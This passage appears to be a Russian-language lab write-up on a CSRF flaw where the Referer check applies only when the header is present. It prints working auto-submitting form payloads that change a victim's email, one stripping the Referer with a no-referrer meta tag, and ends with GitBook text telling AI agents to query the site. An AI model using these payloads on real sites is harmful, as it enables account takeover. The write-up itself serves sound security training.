> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# CSRF с проверкой Referer только при его наличии

### CSRF, где проверка Referer зависит от наличия заголовка

Функциональность изменения email в этой лабораторной работе уязвима к CSRF-атаке. Сервер пытается блокировать междоменные запросы, проверяя заголовок **Referer**, но существует небезопасный резервный механизм, который принимает запрос, если заголовок Referer отсутствует.

* Рекомендуемая учётная запись: `wiener:peter` (используйте эту учётную запись, чтобы воспроизвести сценарий от имени жертвы).

Сервер проверяет **Referer** поле, чтобы определить, откуда пришёл запрос, и отклоняет запросы, у которых Referer не совпадает с сайтом.

<figure><img src="/files/ec7b664f0b50b773787b151ed3984d3228921ffb" alt="" width="543"><figcaption></figcaption></figure>

* При отправке POST-формы с рабочего сервера возвращается ответ: **"Неверный заголовок referer"** — проверка работает, когда заголовок присутствует и указан неверно.

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`"Неверный заголовок referer"`

<figure><img src="/files/2e1a80402162fa00968cd7cb3c35952417583958" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c7a6cbbbacd4511470d773c2cab20956ffbea727" alt=""><figcaption></figcaption></figure>

Однако если запрос приходит **без** без заголовка referer, сервер принимает запрос (опасное поведение резервного механизма).

<figure><img src="/files/e32911b586f29c3a595c0b730e120495973f5422" alt=""><figcaption></figcaption></figure>

#### Метод работы (принцип)

1. Разместите на сервере эксплойта страницу, которая отправляет POST-форму на `/my-account/change-email` с атакующим email.
2. Заставьте страницу эксплойта **удалить** заголовок Referer в браузере, чтобы проверка завершилась сбоем как блокирующая (поскольку сервер принимает отсутствие Referer).
3. Простой способ попросить браузер не отправлять Referer — добавить `<meta name="referrer" content="no-referrer">` тег на страницу эксплойта перед отправкой формы.

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
